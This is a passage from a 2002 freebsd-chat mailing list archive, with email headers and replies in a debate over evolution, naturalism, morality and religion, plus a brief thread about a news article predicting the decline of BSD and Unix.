Non-order begets order. (~A changes into A) 2. Non-life begets life. (~B changes into B) 3. Non-intelligence begets intelligence. (~C changes into C) 4. The Non-moral begets morality. (~D changes into D) All of this is self-emergent, or self-creating, with no help from any supernatural intelligence! I look at that and think, wow, I guess I just don't have that kind of faith! Hence, the classification of evolution as a religion. Louis Pasteur disproved spontaneous generation but I guess some ideas die hard. > > Why do societies go to war with each other, if not to enforce it's > > own standards of morality on that other society? > > Jealousy. Trolls crossing the borders. Inability to effectively > compete in the context of a given consensus rule set (e.g. there are > no radical Moslem First World countries, there are no first world > countries without some form of population controls, volintary or > otherwise, there are no first world countries without immigration > controls, there are no dominant religions that favor birth control, > etc., etc.). Well, then why do we fight back, if not to impose our standards of morality on them? Besides, I would hardly classify Islam as "not a dominant religion", unfortunate as that fact is. > Consensus rule sets are intersting things, though. One does not > really abitrarily arrive at a consensus rule set, one accepts a > rule set and it becomes consensus because of the limitations of > the physical universe. Murder is not tolerable, because it most > definitely intereferes with the propagation of the genetic material > of those who tolerate rate it, for example. Yes, but one would have to show that propagation of the genetic material and survival of the species is a goal worthy of pursuing. I mean, how do you know that murder victims are just the unhappy losers in the evolutionary fight for survival? Why do we keep trying to subvert evolution with such things as "consensus rule sets"? This seems to be self-defeating (in the larger scheme of things). > A higher standard of > living leads to a longer reproductive life cycle, and limitations on > expansion of population lead to a higher standard of living. There > are counter pressures, of course, but they are not overriding, and > so they do not lead to consensus rules, except in fractional > societies which exist as part of a larger whole. This all just seems like so much rationalization. I admit, longer reproductive life spans and higher standard of living is nice from a subjective perspective, but in the ultimate scheme of things how do we know it isn't counter-productive? > > Why enforce those standards, if there is no ultimate criteria by > > which you could judge one society's standards as "right" over > > against the other societies standards which are wrong? > > Richard Dawkins said it best, when he pointed out that this is all > an elaborate competition between selfish genes (genes which are > selfish, not genese which express as selfishness). They even build > these huge hulking robots to carry them around, the better to > propagate (some of these robots are called "humans"). There's one of those bad analogies again. > I guess in terms of conflicting societies, it comes down to whether > powerful society A can suffer less powerful society B to exist. Sometimes it comes down to whether more powerful society A can suffer itself to exist, or rather God can suffer it to exist. > > > Morality is dictated by the larger society, in any given context. > > > It doesn't need to be transcendent, per se, it merely needs to > > > transcend the individual, or the smaller society within the larger. > > > > Why does it need to transcend the individual, but not individual > > societies? > > Marvin Minsky has a lot to say here, which would be useful; even > if it has since been discredited in the AI community, I will > recommend his book "Society of Mind". > > The answer as to why it needs to transcend the individual is that > individuals share mutual boundaries. And if you note, I said that > it *does* need to transcend individual societies ("the smaller > society within the larger"). Why are mutual boundaries relevant? I mean, what does it really matter if one piece of bio-matter A inadvertently bumps into another piece of bio-matter B, and in the process changes it's state from what we arbitrarily call "alive" to an equally arbitrarily named state we call "dead". Such is nature red in tooth and claw. > > Or do you advocate a global society? > > Not really. I recognize it as emergent. The Geneva Convention, > The World Court, The World Intellctual Property Association, > Maritime Law, International Law, war, treaties, capitualation, > etc.. Of course, what you call "emergent", is what some of us would call "providence". > > If so, is whatever mores that society adopts right by definition? > > Personally, I believe a global society is not possible, at least > until there are one or more additional globes involved. Call it > a result of "Thalience". 8-). There is an implicit need of "the > other", at least in all the societies we've so far managed to > construct. Kind of a yin and yang thing then, eh? > > Then it would not be an internal code of conduct, by definition. > > Just because you wouldn't engage in a particular activity doesn't > > mean that somebody else shouldn't. > > It turns out that there is an escape hatch. It has to do with the > semantics of "human being". This is actually *why* it's OK to kill > the enemy, without having to make an explicit exception which leads > you to a slippery slope: you define them to not be a human being. > The Sioux understood this implicitly. The translation of the Sioux > word for themselves is "human being". So did the National Socialists. That's some escape hatch. More like out of the frying pan into the fire. That's all well and good, until you find yourself on the receiving end of being defined in such a manner. > In reality, there's no avoiding externalizing ethics; if it's wrong > to kill another human being, then it's wrong whwther the act is > manifest by comission (performing the act) or omission (you permitting > the act to be performed). By not acting, you act. On the other hand, if man is the imago Deo, you at least have a rationale for protecting God's image bearers through the means of capital punishment. You fail to distinguish between murder and killing. Killing under most circumstances *is* wrong, but in some circumstances the greater sin comes from allowing murderers to live. Hence, as a previous poster pointed out, the governing authorities (whether Christian, or pagan) are ministers of God's wrath. > > Okay, but then if there is general agreement in that society that it > > would be genetically beneficial to kill off a certain segment of > > society, say, the jews, or people with certain genetic defects, it > > is then moral by definition for that society to do so. > > It is moral *within the context of that society*. Whether neighboring > societies would tolerate the activity is another matter altogether. > Societies hold each other to consensual standards, as well, in the > context of the society of societies of which they are members. Why shouldn't they tolerate it? > > > Individuals do not have morals, though individuals may *be* moral > > > or *act* morally or *demonstrate* morality. > > > > Act morally with regard to what? You seem to think that a society > > cannot enshrine laws that are immoral. > > They can't. They can enact them, but they can't enshrine them > without the consent of the governed. The police will refuse to > enforce them, or the citizens will ignore them. That's the > difference between a law that has ben enacted, and one that is > in effect. I'm talking about a society that *does* consent, such as one that tolerates abortion. By the way, if it were not for imigration, most Western societies would be decreasing in population, as the native population is not reproducing fast enough to replenish those being lost. And by the way, speaking of abortion, isn't this also counter-productive to evolution? > In the case of a police state, where physical power is centralized, > there's always the possibility of subversion, infiltration, or, in > the limit, human wave assault. This usually ends up with many dead humans. > > > If you want to boil down this whole discussion so far, it's that > > > Dave has an ethic which he would like to convert into a moral, by > > > getting other people to share it. This ethic venerates the rights > > > of the individual over the rights of the state (the society to > > > which the individuals belong). > > > > And you are making the opposite error, of venerating the rights of > > the state over the rights of the individual. Such societies > > inevitably become tyrranical. > > To have a society is to grant that society rights over individuals. > There is no such thing as a tyranny of one. By your argument, all > jailed tyrants should be freed, because it's tyranical to jail a > tyrant. But in freeing a tyrant to act upon your society, are you > not therefore still tyranical, this time by proxy? Ah, the fallacy of the false dichotomy. I never advocated Dave's position any more than I advocated yours. I don't define tyranny as being "not free". With freedom comes responsibility, and it is acknowledged that the state must be granted some degree of power for the purpose of securing individual rights. This means putting tyrants in jail, and defining freedom in such a way as that it excludes acts of wickedness. For this we need an external, objective standard of ethics. > > > My own objection to this is, first and foremost, that the rights > > > of the state take precedence of the rights of the individual, as > > > the state is composed of individuals, and the yardstick we must > > > therefore use is that of the greatest good for the greatest number. > > > > I see. And what exactly is "the greatest good for the greatest > > number"? Weeding out inferior individuals from the gene pool? > > Why not? Moreover, who makes these decisions? Philosopher-kings? > > Whoever the governed consent to have govern them. I would still like to know what "the greatest good for the greatest number" means. Sounds kind of like Marx, or Star Trek. The problem, or course, is who gets to decide what the "good." > > Yes, I agree that his ideas are self-refuting...but then ultimately > > so are yours, you just don't see it. > > Pose it in terms of symbolic logic. I promise I will see it, or > point out the error(s) in the formulation. Well, let's take the logic of naturalism for example. Recall that naturalism attempts to account for everything on the basis that all that exists is matter/energy and the operation of physical laws. Premise A: All current states of matter/energy are determined by the operation of physical laws on antecedent states of matter/energy. Premise B: My current beliefs can be accounted for solely on naturalistic principles. Premise C: Other people's beliefs can be accounted for solely on naturalistic principles. Conclusion D: All beliefs are pre-determined. if (A && B && C) then D. IOW, you cannot get from electro-chemical reactions in the grey-matter to the notion of "true belief" and "false belief". All beliefs can only be accounted for on naturalistic terms, therefore nobody can say that their particular view of reality is true in the sense that it is the actual state of affairs that obtains, but rather you couln't help but believe what you believe, because that's just the way the synapses fired in your brain. And if someone else holds to a diametrically opposed view, it cannot be deemed "false" since it too is just the result of electro-chemical reactions in their brain. In short, if naturalism is true, it could never be known to be true. It would be like saying the Mississippi "knows" how to get to the ocean, while Lake Michigan does not. And I've already anticipated your answer. You will say that reasoning abilities are "emergent". To which I will respond, "How?" Please elaborate. > > > Self-organizing systems don't have to admit non-teleological basis. > > > > > > Science acknowledges "gosh numbers", such as "PI", "e", "G", or "The > > > Fine Structure Constant", etc., without needing to acknowledge a > > > non-teleological cause with a set of thermostats that can be adjusted, > > > one of which reads "Speed of Light" or another which reads "Planck Length". > > > > Then I would have to ask to what end such "self-organizing systems" > > attain? Organizing into what? For what purpose? > > Why does there have to be a purpose? If you say something has a teleological basis, it has a purpose by definition. > > > Does it matter if an action is wrong or not, if a penalty will > > > be assessed for the action regardless of your own personal views > > > of right and wrong? If you want to avoid the penalty, you must > > > act as if you believed the action were wrong, regardless of your > > > personal beliefs in the matter. > > > > Of course, my answer will be, "Yes it does." I just think you are > > not thinking high enough on the ontological scale. > > 8-). > > "Ontology recapitualates phylology". > > It may matter to you, personally. If it does, you with either act > within the system, to change the mechanism whereby the action results > in a penalty, or you will engage in civil disobedience to provide an > example to others -- sacrificing yourself to the greater good, or you > will declare your seperateness from society, in some way. Yes, yes, I know. But can you explain, on your worldview, why such disagreements should arise in the first place? > So you will change the rule, or you will be removed from the conflict > situation, or you will remove yourself from the conflict situation. > No matter what you do (or the actual outcome), the conflict will be > resolved to the satisfaction of the society. Yes, but this is all beside the point. It is purely descriptive. To what ends *should* society be seeking? > > > > When we punish them, is our justification for doing so solely because > > > > we have the guns and the will to do so? > > > > > > Pretty much, yes. > > > > So I take it you're not a libertarian... > > Actually, I am, or at least a Strict Constitutional Constructionist, > if you want to be technically accurate. > > I was recently asked to run for public office in my district by the > Libertarian party, in fact (I declined; the suit, contacts, hair-cut, > kiss-hands-shake-babies drill was not my cup of tea; that, and the > party management procrastinated until too close to the registration > window for anyone they got to have a reasonable chance of winning). > > Holding a philosophy, and forcing the larger society to hold a > philosophy are two very different things, even if it's for the > larger societies Own Good(tm). There's such a thing as social > inertia, and societies, being made up of people, are slow to > change. Anyone who wants a "quick fix" for what they perceive as a > social ill is most likely deluding themselves. Societies only ever > change one individual at a time. To that, Amen! Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 12:50:13 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B286E37B400 for ; Tue, 3 Sep 2002 12:50:02 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id CF82143E6E for ; Tue, 3 Sep 2002 12:50:00 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g83JnxGd049874; Tue, 3 Sep 2002 12:49:59 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g83Jnwl5049871; Tue, 3 Sep 2002 12:49:58 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Tue, 3 Sep 2002 12:49:58 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200208310608.g7V68h128080@hokkshideh2.jetcafe.org> Message-ID: <20020903120653.N35147-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 30 Aug 2002, Dave Hayes wrote: > >> "Desperate" perhaps. "Misunderstood" definately. "Naughty" I refrain > >> from using, it has too many sexual contexts that are inappropriate. ;) > > > > Rodney King was a fleeing felon in voilation of parole. > > I don't care what he was. There was zero excuse for that display > of police brutality. There's zero excuse for any of it actually, > and it's a prime reason I despise authority and rebel against any > sort of organized policing. Who watches the watchers? Hmmm...On what basis does anyone say that there is "zero excuse" for such and such action? Moral condemnations flow forth, but on what basis? You and Terry really are more alike than you may know. I do think you realize it more than he does. However, given your rejection of authority, who are you to condemn police brutality? All you are doing is confirming that "there is none righteous, not even one, there is none who understands, there is none who seeks for God; all have turned aside, together they have become useless, there is none who does good, not even one..." (Romans 3:10-12) You really should read the entire passage, it gets even more to the point, such that, "every mouth may be closed and all the world may become accountable to God". Who watches the watchers indeed! > > [ ... ] > >> > Spare me the "exception to every rule" sophistry. > >> > >> You don't spare me the "prove every principle" dogma, why should I > >> reciprocate? > > > > You want to sway me with your arguments, then you accept my > > standards of proof. > > You presume I want to sway you. I can assure you I don't have a > wrecking ball in my posession, cause that is what it will take > to sway someone so deeply entrenched in assumption as yourself. > I really don't want to sway you. I really think you are deceiving yourself if you think you are not also deeply entrenched in assumptions. Everybody has them, and they are very important. The trick is in adopting the *right* assumptions. But this involves us in worldview considerations. > > I'm willing to reciprocate that, but it's probably a lost cause > > given "there is no such thing as an acceptable proof". > > I'm actually quite convincable given a rational argument which accepts > that everything we work with is assumption. However, I don't think you > are capable (I could be wrong), and this is the wrong forum. You've hit upon something that is deeply profound. All reasoning is ultimately circular and dependent on presuppositions that are not verified by anything else. The question to be asked is what presuppositions are transcendentally necessary for experience to be meaningful at all. The reason that both of you are so difficult to argue with is that neither of you seem to think anything is meaningful. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 13: 0:43 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B921D37B400 for ; Tue, 3 Sep 2002 13:00:40 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2DD1343E3B for ; Tue, 3 Sep 2002 13:00:40 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g83K0dGd060020; Tue, 3 Sep 2002 13:00:39 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g83K0d48060017; Tue, 3 Sep 2002 13:00:39 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Tue, 3 Sep 2002 13:00:39 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200208310617.g7V6Hu128152@hokkshideh2.jetcafe.org> Message-ID: <20020903125126.V35147-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 30 Aug 2002, Dave Hayes wrote: > Terry Lambert writes: > > You may say some activity (e.g. killing another human being) is > > "not right". What you really mean is "it's unethical"; to borrow > > from Dave Hayes, you are actually saying that it would violate > > your internal code of conduct. What this actually means, however, > > is that you will not tolerate it in yourself, and so you will also > > not tolerate it in others. > > This is where we disagree. > > I claim you should not worry about what others do, your focus should > be on what YOU do, and that will maximize gain for you and (somewhat) > society. You appear to claim that we have to focus on what OTHERS do > and controlling them achieves more gain for you and society. But aren't you contradicting yourself? Your admonition that people *should not* worry about what others do is itself a violation of your principle. It is impossible to live in a community without imposing your views on other people, even if it is as innocuous as "don't worry about what others do". Why cannot one's internal views include trying to convince others to adopt the same views, which is, after all, what you are trying to do. > > My own objection to this is, first and foremost, that the rights > > of the state take precedence of the rights of the individual, as > > the state is composed of individuals, and the yardstick we must > > therefore use is that of the greatest good for the greatest number. > > I claim you can't know that yardstick. You are right. Given his worldview, he cannot. On the other hand, given your worldview, you cannot know the yardstick "do not worry about what others do" is correct either. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 13:36:13 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B59E937B400 for ; Tue, 3 Sep 2002 13:36:11 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3164C43E6E for ; Tue, 3 Sep 2002 13:36:11 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g83KaAGd067807; Tue, 3 Sep 2002 13:36:10 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g83Ka9NA067800; Tue, 3 Sep 2002 13:36:09 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Tue, 3 Sep 2002 13:36:09 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Dave Hayes , Subject: Re: Why did evolution fail? In-Reply-To: <3D707C6F.7C9AD09C@mindspring.com> Message-ID: <20020903133518.V66978-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 31 Aug 2002, Terry Lambert wrote: > > > > I claim you can't know that yardstick. > > Then allow me to operate on the principle of successive approximation, > and, when or if you come up with a better yardstick, I can siwthc to > using it instead. Ahem... 8-) Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 13:50:49 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 64D5B37B400 for ; Tue, 3 Sep 2002 13:50:47 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id D147843E65 for ; Tue, 3 Sep 2002 13:50:46 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g83KokGd077948; Tue, 3 Sep 2002 13:50:46 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g83Koj5r077945; Tue, 3 Sep 2002 13:50:45 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Tue, 3 Sep 2002 13:50:45 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Dave Hayes , Subject: Re: Why did evolution fail? In-Reply-To: <3D707754.1981EA36@mindspring.com> Message-ID: <20020903133932.W66978-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 31 Aug 2002, Terry Lambert wrote: > > >> The ones that break out and forcibly reproduce are the best suited to > > >> survival in hostile environments. By definition even. > > > > > > Nature seems to vote against that one. > > > > How so? > > By evolving creatures who imprison or kill peers who engage in > forcible reproductive acts, thereby ensuring their removal from > the gene pool. Have either of you ever wondered why, over billions of years, evolution hasn't made these problems irrelevant? I mean, how many billions of years do we need to wait for evolution to kick in and remove the miscreants? > A society no more cares for its individual members than you > care for the individual cells which make up your body. Why then all the talk about "the rights of the state"? Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 14:57:16 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 97E7837B400 for ; Tue, 3 Sep 2002 14:57:13 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 170F943E3B for ; Tue, 3 Sep 2002 14:57:13 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g83LvCGd085151; Tue, 3 Sep 2002 14:57:12 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g83LvBMu085148; Tue, 3 Sep 2002 14:57:11 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Tue, 3 Sep 2002 14:57:11 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209021141.g82Bf7157514@hokkshideh2.jetcafe.org> Message-ID: <20020903144201.Q66978-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Mon, 2 Sep 2002, Dave Hayes wrote: > >> What about those questions which cannot be dealt with rationally? > > > > What questions which cannot be dealt with rationally? > > "Is there a God?" "Why are we here?" "What is the one difference > between a sacred being and an evil being?" Some questions are proven from the impossibility of the contrary. If a particular worldview does not provide the preconditions of rationality, it should be rejected. For example, the fact that naturalism undermines the ability to know whether one's views are true or false eliminates naturalism as a viable worldview. In fact, if naturalism is false its opposite, supernaturalism must be true. Moreover, not just any supernaturalism will do. It must provide the preconditions for rationality, ethics, science, human dignity, freedom, intellectual disagreements, etc. Basically, its not that "God" cannot be rationally proven as much as the fact that without God, nothing could be proven at all. Hence, God is proven from the impossibility of the contrary. It is unreasonable to reject that which is the foundation for everything else. Cheers, Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 15: 4:18 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 06AA737B405 for ; Tue, 3 Sep 2002 15:04:13 -0700 (PDT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by mx1.FreeBSD.org (Postfix) with ESMTP id C213E43E72 for ; Tue, 3 Sep 2002 15:04:12 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id 247FA2CC80C for ; Tue, 3 Sep 2002 19:04:11 -0300 (ADT) Date: Tue, 3 Sep 2002 19:04:11 -0300 (ADT) From: "Marc G. Fournier" To: freebsd-chat@freebsd.org Subject: Linux is Unix's Savior? Only three Unix? Message-ID: <20020903190323.B16228-100000@hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Gotta love it ... someone want to give advance warning when the *BSDs are due to disappear? :( http://www.idg.net/go.cgi?id=736053 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 15: 9:33 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9C1EB37B400 for ; Tue, 3 Sep 2002 15:09:30 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 863B543E77 for ; Tue, 3 Sep 2002 15:09:29 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g83M9TGd085205; Tue, 3 Sep 2002 15:09:29 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g83M9SNu085202; Tue, 3 Sep 2002 15:09:28 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Tue, 3 Sep 2002 15:09:28 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209021147.g82BlW157571@hokkshideh2.jetcafe.org> Message-ID: <20020903145752.T66978-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Mon, 2 Sep 2002, Dave Hayes wrote: > > unless you believe we are being judged against some absolute scale > > by a higher power. > > This is a classic religious (and thus, inaccurate) tenet. Dave, have you ever questioned *this* assumption? You guys are quite amusing to read! The only thing you can agree on is your anemic prejudices against theology. Guess what: Christianity accounts for this fact as well. Good Day, Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 15:20:37 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C238337B400 for ; Tue, 3 Sep 2002 15:20:31 -0700 (PDT) Received: from Surfa.SineWave.com (surfa.SineWave.com [192.171.80.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id CE45143E6A for ; Tue, 3 Sep 2002 15:20:30 -0700 (PDT) (envelope-from cassiel@dis.org) Received: from loki.dis.org (d-0019.SineWave.com [192.171.82.19]) by Surfa.SineWave.com (8.9.3/8.9.3) with ESMTP id PAA16376 for ; Tue, 3 Sep 2002 15:20:20 -0700 Message-Id: <5.1.0.14.0.20020903151602.02dc61a0@dis.org> X-Sender: cassiel@dis.org X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 03 Sep 2002 15:21:20 -0700 To: freebsd-chat@FreeBSD.ORG From: Cassiel Subject: Re: Linux is Unix's Savior? Only three Unix? In-Reply-To: <20020903190323.B16228-100000@hub.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org At 15:04 9/3/2002, Marc G. Fournier wrote: >Gotta love it ... someone want to give advance warning when the *BSDs are >due to disappear? :( > >http://www.idg.net/go.cgi?id=736053 Siiiiiiiiiigggggggghhhhhhhh . . . . . . "On the hardware side, a shift is likely towards a modular component-style architecture for servers. "Look at server blades (a server on a card), which are just at the top of the hype curve now but will become generally accepted over the next 24 months," says Boon." Something like Two years ago I was working at a Very small ISP and computer shop, and simply because it's what the inhouse client needed, and we could do it, we build for this client a rackmount box with at least four distinct systems in it . . . . . Ah well, in This economy, even consultants have to troll for clients . . . . . Cassiel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 15:33:19 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 635DD37B400 for ; Tue, 3 Sep 2002 15:33:14 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 92DDF43E65 for ; Tue, 3 Sep 2002 15:33:13 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g83MXDGd085301; Tue, 3 Sep 2002 15:33:13 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g83MXCkH085298; Tue, 3 Sep 2002 15:33:12 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Tue, 3 Sep 2002 15:33:12 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Dave Hayes , Subject: Re: Why did evolution fail? In-Reply-To: <3D7367BB.2AC28CF2@mindspring.com> Message-ID: <20020903151011.S66978-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Mon, 2 Sep 2002, Terry Lambert wrote: > Dave Hayes wrote: > > > Posit a mutation which enables the breathing of Chlorine 